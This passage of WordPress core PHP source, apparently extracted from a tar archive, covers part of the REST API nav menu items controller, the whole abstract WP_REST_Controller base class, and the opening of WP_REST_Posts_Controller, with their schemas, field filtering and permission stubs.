		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $menu_item->ID;
		}

		if ( rest_is_field_included( 'title', $fields ) ) {
			$data['title'] = array();
		}

		if ( rest_is_field_included( 'title.raw', $fields ) ) {
			$data['title']['raw'] = $menu_item->title;
		}

		if ( rest_is_field_included( 'title.rendered', $fields ) ) {
			add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
			add_filter( 'private_title_format', array( $this, 'protected_title_format' ) );

			/** This filter is documented in wp-includes/post-template.php */
			$title = apply_filters( 'the_title', $menu_item->title, $menu_item->ID );

			$data['title']['rendered'] = $title;

			remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
			remove_filter( 'private_title_format', array( $this, 'protected_title_format' ) );
		}

		if ( rest_is_field_included( 'status', $fields ) ) {
			$data['status'] = $menu_item->post_status;
		}

		if ( rest_is_field_included( 'url', $fields ) ) {
			$data['url'] = $menu_item->url;
		}

		if ( rest_is_field_included( 'attr_title', $fields ) ) {
			// Same as post_excerpt.
			$data['attr_title'] = $menu_item->attr_title;
		}

		if ( rest_is_field_included( 'description', $fields ) ) {
			// Same as post_content.
			$data['description'] = $menu_item->description;
		}

		if ( rest_is_field_included( 'type', $fields ) ) {
			$data['type'] = $menu_item->type;
		}

		if ( rest_is_field_included( 'type_label', $fields ) ) {
			$data['type_label'] = $menu_item->type_label;
		}

		if ( rest_is_field_included( 'object', $fields ) ) {
			$data['object'] = $menu_item->object;
		}

		if ( rest_is_field_included( 'object_id', $fields ) ) {
			// It is stored as a string, but should be exposed as an integer.
			$data['object_id'] = absint( $menu_item->object_id );
		}

		if ( rest_is_field_included( 'parent', $fields ) ) {
			// Same as post_parent, exposed as an integer.
			$data['parent'] = (int) $menu_item->menu_item_parent;
		}

		if ( rest_is_field_included( 'menu_order', $fields ) ) {
			// Same as post_parent, exposed as an integer.
			$data['menu_order'] = (int) $menu_item->menu_order;
		}

		if ( rest_is_field_included( 'target', $fields ) ) {
			$data['target'] = $menu_item->target;
		}

		if ( rest_is_field_included( 'classes', $fields ) ) {
			$data['classes'] = (array) $menu_item->classes;
		}

		if ( rest_is_field_included( 'xfn', $fields ) ) {
			$data['xfn'] = array_map( 'sanitize_html_class', explode( ' ', $menu_item->xfn ) );
		}

		if ( rest_is_field_included( 'invalid', $fields ) ) {
			$data['invalid'] = (bool) $menu_item->_invalid;
		}

		if ( rest_is_field_included( 'meta', $fields ) ) {
			$data['meta'] = $this->meta->get_value( $menu_item->ID, $request );
		}

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( rest_is_field_included( $base, $fields ) ) {
				$terms = get_the_terms( $item, $taxonomy->name );
				if ( ! is_array( $terms ) ) {
					continue;
				}
				$term_ids = $terms ? array_values( wp_list_pluck( $terms, 'term_id' ) ) : array();
				if ( 'nav_menu' === $taxonomy->name ) {
					$data[ $base ] = $term_ids ? array_shift( $term_ids ) : 0;
				} else {
					$data[ $base ] = $term_ids;
				}
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $item );
			$response->add_links( $links );

			if ( ! empty( $links['self']['href'] ) ) {
				$actions = $this->get_available_actions( $item, $request );

				$self = $links['self']['href'];

				foreach ( $actions as $rel ) {
					$response->add_link( $rel, $self );
				}
			}
		}

		/**
		 * Filters the menu item data for a REST API response.
		 *
		 * @since 5.9.0
		 *
		 * @param WP_REST_Response $response  The response object.
		 * @param object           $menu_item Menu item setup by {@see wp_setup_nav_menu_item()}.
		 * @param WP_REST_Request  $request   Request object.
		 */
		return apply_filters( 'rest_prepare_nav_menu_item', $response, $menu_item, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Post $post Post object.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $post ) {
		$links     = parent::prepare_links( $post );
		$menu_item = $this->get_nav_menu_item( $post->ID );

		if ( empty( $menu_item->object_id ) ) {
			return $links;
		}

		$path = '';
		$type = '';
		$key  = $menu_item->type;
		if ( 'post_type' === $menu_item->type ) {
			$path = rest_get_route_for_post( $menu_item->object_id );
			$type = get_post_type( $menu_item->object_id );
		} elseif ( 'taxonomy' === $menu_item->type ) {
			$path = rest_get_route_for_term( $menu_item->object_id );
			$type = get_term_field( 'taxonomy', $menu_item->object_id );
		}

		if ( $path && $type ) {
			$links['https://api.w.org/menu-item-object'][] = array(
				'href'       => rest_url( $path ),
				$key         => $type,
				'embeddable' => true,
			);
		}

		return $links;
	}

	/**
	 * Retrieves Link Description Objects that should be added to the Schema for the nav menu items collection.
	 *
	 * @since 5.9.0
	 *
	 * @return array
	 */
	protected function get_schema_links() {
		$links   = parent::get_schema_links();
		$href    = rest_url( "{$this->namespace}/{$this->rest_base}/{id}" );
		$links[] = array(
			'rel'          => 'https://api.w.org/menu-item-object',
			'title'        => __( 'Get linked object.' ),
			'href'         => $href,
			'targetSchema' => array(
				'type'       => 'object',
				'properties' => array(
					'object' => array(
						'type' => 'integer',
					),
				),
			),
		);

		return $links;
	}

	/**
	 * Retrieves the nav menu item's schema, conforming to JSON Schema.
	 *
	 * @since 5.9.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema' => 'http://json-schema.org/draft-04/schema#',
			'title'   => $this->post_type,
			'type'    => 'object',
		);

		$schema['properties']['title'] = array(
			'description' => __( 'The title for the object.' ),
			'type'        => array( 'string', 'object' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'properties'  => array(
				'raw'      => array(
					'description' => __( 'Title for the object, as it exists in the database.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
				),
				'rendered' => array(
					'description' => __( 'HTML title for the object, transformed for display.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		$schema['properties']['id'] = array(
			'description' => __( 'Unique identifier for the object.' ),
			'type'        => 'integer',
			'default'     => 0,
			'minimum'     => 0,
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['type_label'] = array(
			'description' => __( 'The singular label used to describe this type of menu item.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['type'] = array(
			'description' => __( 'The family of objects originally represented, such as "post_type" or "taxonomy".' ),
			'type'        => 'string',
			'enum'        => array( 'taxonomy', 'post_type', 'post_type_archive', 'custom' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'default'     => 'custom',
		);

		$schema['properties']['status'] = array(
			'description' => __( 'A named status for the object.' ),
			'type'        => 'string',
			'enum'        => array_keys( get_post_stati( array( 'internal' => false ) ) ),
			'default'     => 'publish',
			'context'     => array( 'view', 'edit', 'embed' ),
		);

		$schema['properties']['parent'] = array(
			'description' => __( 'The ID for the parent of the object.' ),
			'type'        => 'integer',
			'minimum'     => 0,
			'default'     => 0,
			'context'     => array( 'view', 'edit', 'embed' ),
		);

		$schema['properties']['attr_title'] = array(
			'description' => __( 'Text for the title attribute of the link element for this menu item.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => 'sanitize_text_field',
			),
		);

		$schema['properties']['classes'] = array(
			'description' => __( 'Class names for the link element of this menu item.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => static function ( $value ) {
					return array_map( 'sanitize_html_class', wp_parse_list( $value ) );
				},
			),
		);

		$schema['properties']['description'] = array(
			'description' => __( 'The description of this menu item.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => 'sanitize_text_field',
			),
		);

		$schema['properties']['menu_order'] = array(
			'description' => __( 'The DB ID of the nav_menu_item that is this item\'s menu parent, if any, otherwise 0.' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'type'        => 'integer',
			'minimum'     => 1,
			'default'     => 1,
		);

		$schema['properties']['object'] = array(
			'description' => __( 'The type of object originally represented, such as "category", "post", or "attachment".' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'type'        => 'string',
			'arg_options' => array(
				'sanitize_callback' => 'sanitize_key',
			),
		);

		$schema['properties']['object_id'] = array(
			'description' => __( 'The database ID of the original object this menu item represents, for example the ID for posts or the term_id for categories.' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'type'        => 'integer',
			'minimum'     => 0,
			'default'     => 0,
		);

		$schema['properties']['target'] = array(
			'description' => __( 'The target attribute of the link element for this menu item.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'enum'        => array(
				'_blank',
				'',
			),
		);

		$schema['properties']['url'] = array(
			'description' => __( 'The URL to which this menu item points.' ),
			'type'        => 'string',
			'format'      => 'uri',
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'validate_callback' => static function ( $url ) {
					if ( '' === $url ) {
						return true;
					}

					if ( sanitize_url( $url ) ) {
						return true;
					}

					return new WP_Error(
						'rest_invalid_url',
						__( 'Invalid URL.' )
					);
				},
			),
		);

		$schema['properties']['xfn'] = array(
			'description' => __( 'The XFN relationship expressed in the link of this menu item.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => static function ( $value ) {
					return array_map( 'sanitize_html_class', wp_parse_list( $value ) );
				},
			),
		);

		$schema['properties']['invalid'] = array(
			'description' => __( 'Whether the menu item represents an object that no longer exists.' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'type'        => 'boolean',
			'readonly'    => true,
		);

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base                          = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
			$schema['properties'][ $base ] = array(
				/* translators: %s: taxonomy name */
				'description' => sprintf( __( 'The terms assigned to the object in the %s taxonomy.' ), $taxonomy->name ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'context'     => array( 'view', 'edit' ),
			);

			if ( 'nav_menu' === $taxonomy->name ) {
				$schema['properties'][ $base ]['type'] = 'integer';
				unset( $schema['properties'][ $base ]['items'] );
			}
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		$schema_links = $this->get_schema_links();

		if ( $schema_links ) {
			$schema['links'] = $schema_links;
		}

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for the nav menu items collection.
	 *
	 * @since 5.9.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['menu_order'] = array(
			'description' => __( 'Limit result set to posts with a specific menu_order value.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'asc',
			'enum'        => array( 'asc', 'desc' ),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by object attribute.' ),
			'type'        => 'string',
			'default'     => 'menu_order',
			'enum'        => array(
				'author',
				'date',
				'id',
				'include',
				'modified',
				'parent',
				'relevance',
				'slug',
				'include_slugs',
				'title',
				'menu_order',
			),
		);
		// Change default to 100 items.
		$query_params['per_page']['default'] = 100;

		return $query_params;
	}

	/**
	 * Determines the allowed query_vars for a get_items() response and prepares
	 * them for WP_Query.
	 *
	 * @since 5.9.0
	 *
	 * @param array           $prepared_args Optional. Prepared WP_Query arguments. Default empty array.
	 * @param WP_REST_Request $request       Optional. Full details about the request.
	 * @return array Items query arguments.
	 */
	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
		$query_args = parent::prepare_items_query( $prepared_args, $request );

		// Map to proper WP_Query orderby param.
		if ( isset( $query_args['orderby'], $request['orderby'] ) ) {
			$orderby_mappings = array(
				'id'            => 'ID',
				'include'       => 'post__in',
				'slug'          => 'post_name',
				'include_slugs' => 'post_name__in',
				'menu_order'    => 'menu_order',
			);

			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
				$query_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
			}
		}

		$query_args['update_menu_item_cache'] = true;

		return $query_args;
	}

	/**
	 * Gets the id of the menu that the given menu item belongs to.
	 *
	 * @since 5.9.0
	 *
	 * @param int $menu_item_id Menu item id.
	 * @return int
	 */
	protected function get_menu_id( $menu_item_id ) {
		$menu_ids = wp_get_post_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) );
		$menu_id  = 0;
		if ( $menu_ids && ! is_wp_error( $menu_ids ) ) {
			$menu_id = array_shift( $menu_ids );
		}

		return $menu_id;
	}
}
endpoints/class-wp-rest-controller.php000064400000045174151024200430014147 0ustar00<?php
/**
 * REST API: WP_REST_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core base controller for managing and interacting with REST API items.
 *
 * @since 4.7.0
 */
#[AllowDynamicProperties]
abstract class WP_REST_Controller {

	/**
	 * The namespace of this controller's route.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $namespace;

	/**
	 * The base of this controller's route.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $rest_base;

	/**
	 * Cached results of get_item_schema.
	 *
	 * @since 5.3.0
	 * @var array
	 */
	protected $schema;

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		_doing_it_wrong(
			'WP_REST_Controller::register_routes',
			/* translators: %s: register_routes() */
			sprintf( __( "Method '%s' must be overridden." ), __METHOD__ ),
			'4.7.0'
		);
	}

	/**
	 * Checks if a given request has access to get items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Retrieves a collection of items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Checks if a given request has access to get a specific item.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Retrieves one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Checks if a given request has access to create items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Creates one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Checks if a given request has access to update a specific item.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Updates one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Checks if a given request has access to delete a specific item.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Deletes one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Prepares one item for create or update operation.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object|WP_Error The prepared item, or WP_Error object on failure.
	 */
	protected function prepare_item_for_database( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Prepares the item for the REST response.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $item    WordPress representation of the item.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Prepares a response for insertion into a collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Response $response Response object.
	 * @return array|mixed Response data, ready for insertion into collection data.
	 */
	public function prepare_response_for_collection( $response ) {
		if ( ! ( $response instanceof WP_REST_Response ) ) {
			return $response;
		}

		$data   = (array) $response->get_data();
		$server = rest_get_server();
		$links  = $server::get_compact_response_links( $response );

		if ( ! empty( $links ) ) {
			$data['_links'] = $links;
		}

		return $data;
	}

	/**
	 * Filters a response based on the context defined in the schema.
	 *
	 * @since 4.7.0
	 *
	 * @param array  $response_data Response data to filter.
	 * @param string $context       Context defined in the schema.
	 * @return array Filtered response.
	 */
	public function filter_response_by_context( $response_data, $context ) {

		$schema = $this->get_item_schema();

		return rest_filter_response_by_context( $response_data, $schema, $context );
	}

	/**
	 * Retrieves the item's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		return $this->add_additional_fields_schema( array() );
	}

	/**
	 * Retrieves the item's schema for display / public consumption purposes.
	 *
	 * @since 4.7.0
	 *
	 * @return array Public item schema data.
	 */
	public function get_public_item_schema() {

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties'] ) ) {
			foreach ( $schema['properties'] as &$property ) {
				unset( $property['arg_options'] );
			}
		}

		return $schema;
	}

	/**
	 * Retrieves the query params for the collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Query parameters for the collection.
	 */
	public function get_collection_params() {
		return array(
			'context'  => $this->get_context_param(),
			'page'     => array(
				'description'       => __( 'Current page of the collection.' ),
				'type'              => 'integer',
				'default'           => 1,
				'sanitize_callback' => 'absint',
				'validate_callback' => 'rest_validate_request_arg',
				'minimum'           => 1,
			),
			'per_page' => array(
				'description'       => __( 'Maximum number of items to be returned in result set.' ),
				'type'              => 'integer',
				'default'           => 10,
				'minimum'           => 1,
				'maximum'           => 100,
				'sanitize_callback' => 'absint',
				'validate_callback' => 'rest_validate_request_arg',
			),
			'search'   => array(
				'description'       => __( 'Limit results to those matching a string.' ),
				'type'              => 'string',
				'sanitize_callback' => 'sanitize_text_field',
				'validate_callback' => 'rest_validate_request_arg',
			),
		);
	}

	/**
	 * Retrieves the magical context param.
	 *
	 * Ensures consistent descriptions between endpoints, and populates enum from schema.
	 *
	 * @since 4.7.0
	 *
	 * @param array $args Optional. Additional arguments for context parameter. Default empty array.
	 * @return array Context parameter details.
	 */
	public function get_context_param( $args = array() ) {
		$param_details = array(
			'description'       => __( 'Scope under which the request is made; determines fields present in response.' ),
			'type'              => 'string',
			'sanitize_callback' => 'sanitize_key',
			'validate_callback' => 'rest_validate_request_arg',
		);

		$schema = $this->get_item_schema();

		if ( empty( $schema['properties'] ) ) {
			return array_merge( $param_details, $args );
		}

		$contexts = array();

		foreach ( $schema['properties'] as $attributes ) {
			if ( ! empty( $attributes['context'] ) ) {
				$contexts = array_merge( $contexts, $attributes['context'] );
			}
		}

		if ( ! empty( $contexts ) ) {
			$param_details['enum'] = array_unique( $contexts );
			rsort( $param_details['enum'] );
		}

		return array_merge( $param_details, $args );
	}

	/**
	 * Adds the values from additional fields to a data object.
	 *
	 * @since 4.7.0
	 *
	 * @param array           $response_data Prepared response array.
	 * @param WP_REST_Request $request       Full details about the request.
	 * @return array Modified data object with additional fields.
	 */
	protected function add_additional_fields_to_object( $response_data, $request ) {

		$additional_fields = $this->get_additional_fields();

		$requested_fields = $this->get_fields_for_response( $request );

		foreach ( $additional_fields as $field_name => $field_options ) {
			if ( ! $field_options['get_callback'] ) {
				continue;
			}

			if ( ! rest_is_field_included( $field_name, $requested_fields ) ) {
				continue;
			}

			$response_data[ $field_name ] = call_user_func(
				$field_options['get_callback'],
				$response_data,
				$field_name,
				$request,
				$this->get_object_type()
			);
		}

		return $response_data;
	}

	/**
	 * Updates the values of additional fields added to a data object.
	 *
	 * @since 4.7.0
	 *
	 * @param object          $data_object Data model like WP_Term or WP_Post.
	 * @param WP_REST_Request $request     Full details about the request.
	 * @return true|WP_Error True on success, WP_Error object if a field cannot be updated.
	 */
	protected function update_additional_fields_for_object( $data_object, $request ) {
		$additional_fields = $this->get_additional_fields();

		foreach ( $additional_fields as $field_name => $field_options ) {
			if ( ! $field_options['update_callback'] ) {
				continue;
			}

			// Don't run the update callbacks if the data wasn't passed in the request.
			if ( ! isset( $request[ $field_name ] ) ) {
				continue;
			}

			$result = call_user_func(
				$field_options['update_callback'],
				$request[ $field_name ],
				$data_object,
				$field_name,
				$request,
				$this->get_object_type()
			);

			if ( is_wp_error( $result ) ) {
				return $result;
			}
		}

		return true;
	}

	/**
	 * Adds the schema from additional fields to a schema array.
	 *
	 * The type of object is inferred from the passed schema.
	 *
	 * @since 4.7.0
	 *
	 * @param array $schema Schema array.
	 * @return array Modified Schema array.
	 */
	protected function add_additional_fields_schema( $schema ) {
		if ( empty( $schema['title'] ) ) {
			return $schema;
		}

		// Can't use $this->get_object_type otherwise we cause an inf loop.
		$object_type = $schema['title'];

		$additional_fields = $this->get_additional_fields( $object_type );

		foreach ( $additional_fields as $field_name => $field_options ) {
			if ( ! $field_options['schema'] ) {
				continue;
			}

			$schema['properties'][ $field_name ] = $field_options['schema'];
		}

		return $schema;
	}

	/**
	 * Retrieves all of the registered additional fields for a given object-type.
	 *
	 * @since 4.7.0
	 *
	 * @global array $wp_rest_additional_fields Holds registered fields, organized by object type.
	 *
	 * @param string $object_type Optional. The object type.
	 * @return array Registered additional fields (if any), empty array if none or if the object type
	 *               could not be inferred.
	 */
	protected function get_additional_fields( $object_type = null ) {
		global $wp_rest_additional_fields;

		if ( ! $object_type ) {
			$object_type = $this->get_object_type();
		}

		if ( ! $object_type ) {
			return array();
		}

		if ( ! $wp_rest_additional_fields || ! isset( $wp_rest_additional_fields[ $object_type ] ) ) {
			return array();
		}

		return $wp_rest_additional_fields[ $object_type ];
	}

	/**
	 * Retrieves the object type this controller is responsible for managing.
	 *
	 * @since 4.7.0
	 *
	 * @return string Object type for the controller.
	 */
	protected function get_object_type() {
		$schema = $this->get_item_schema();

		if ( ! $schema || ! isset( $schema['title'] ) ) {
			return null;
		}

		return $schema['title'];
	}

	/**
	 * Gets an array of fields to be included on the response.
	 *
	 * Included fields are based on item schema and `_fields=` request argument.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return string[] Fields to be included in the response.
	 */
	public function get_fields_for_response( $request ) {
		$schema     = $this->get_item_schema();
		$properties = isset( $schema['properties'] ) ? $schema['properties'] : array();

		$additional_fields = $this->get_additional_fields();

		foreach ( $additional_fields as $field_name => $field_options ) {
			/*
			 * For back-compat, include any field with an empty schema
			 * because it won't be present in $this->get_item_schema().
			 */
			if ( is_null( $field_options['schema'] ) ) {
				$properties[ $field_name ] = $field_options;
			}
		}

		// Exclude fields that specify a different context than the request context.
		$context = $request['context'];
		if ( $context ) {
			foreach ( $properties as $name => $options ) {
				if ( ! empty( $options['context'] ) && ! in_array( $context, $options['context'], true ) ) {
					unset( $properties[ $name ] );
				}
			}
		}

		$fields = array_keys( $properties );

		/*
		 * '_links' and '_embedded' are not typically part of the item schema,
		 * but they can be specified in '_fields', so they are added here as a
		 * convenience for checking with rest_is_field_included().
		 */
		$fields[] = '_links';
		if ( $request->has_param( '_embed' ) ) {
			$fields[] = '_embedded';
		}

		$fields = array_unique( $fields );

		if ( ! isset( $request['_fields'] ) ) {
			return $fields;
		}
		$requested_fields = wp_parse_list( $request['_fields'] );
		if ( 0 === count( $requested_fields ) ) {
			return $fields;
		}
		// Trim off outside whitespace from the comma delimited list.
		$requested_fields = array_map( 'trim', $requested_fields );
		// Always persist 'id', because it can be needed for add_additional_fields_to_object().
		if ( in_array( 'id', $fields, true ) ) {
			$requested_fields[] = 'id';
		}
		// Return the list of all requested fields which appear in the schema.
		return array_reduce(
			$requested_fields,
			static function ( $response_fields, $field ) use ( $fields ) {
				if ( in_array( $field, $fields, true ) ) {
					$response_fields[] = $field;
					return $response_fields;
				}
				// Check for nested fields if $field is not a direct match.
				$nested_fields = explode( '.', $field );
				/*
				 * A nested field is included so long as its top-level property
				 * is present in the schema.
				 */
				if ( in_array( $nested_fields[0], $fields, true ) ) {
					$response_fields[] = $field;
				}
				return $response_fields;
			},
			array()
		);
	}

	/**
	 * Retrieves an array of endpoint arguments from the item schema for the controller.
	 *
	 * @since 4.7.0
	 *
	 * @param string $method Optional. HTTP method of the request. The arguments for `CREATABLE` requests are
	 *                       checked for required values and may fall-back to a given default, this is not done
	 *                       on `EDITABLE` requests. Default WP_REST_Server::CREATABLE.
	 * @return array Endpoint arguments.
	 */
	public function get_endpoint_args_for_item_schema( $method = WP_REST_Server::CREATABLE ) {
		return rest_get_endpoint_args_for_schema( $this->get_item_schema(), $method );
	}

	/**
	 * Sanitizes the slug value.
	 *
	 * @since 4.7.0
	 *
	 * @internal We can't use sanitize_title() directly, as the second
	 * parameter is the fallback title, which would end up being set to the
	 * request object.
	 *
	 * @see https://github.com/WP-API/WP-API/issues/1585
	 *
	 * @todo Remove this in favour of https://core.trac.wordpress.org/ticket/34659
	 *
	 * @param string $slug Slug value passed in request.
	 * @return string Sanitized value for the slug.
	 */
	public function sanitize_slug( $slug ) {
		return sanitize_title( $slug );
	}
}
endpoints/class-wp-rest-posts-controller.php000064400000307510151024200430015310 0ustar00<?php
/**
 * REST API: WP_REST_Posts_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class to access posts via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Posts_Controller extends WP_REST_Controller {
	/**
	 * Post type.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $post_type;

	/**
	 * Instance of a post meta fields object.
	 *
	 * @since 4.7.0
	 * @var WP_REST_Post_Meta_Fields
	 */
	protected $meta;

	/**
	 * Passwordless post access permitted.
	 *
	 * @since 5.7.1
	 * @var int[]
	 */
	protected $password_check_passed = array();

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 5.9.0
	 * @var array
	 */
	protected $allow_batch = array( 'v1' => true );

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
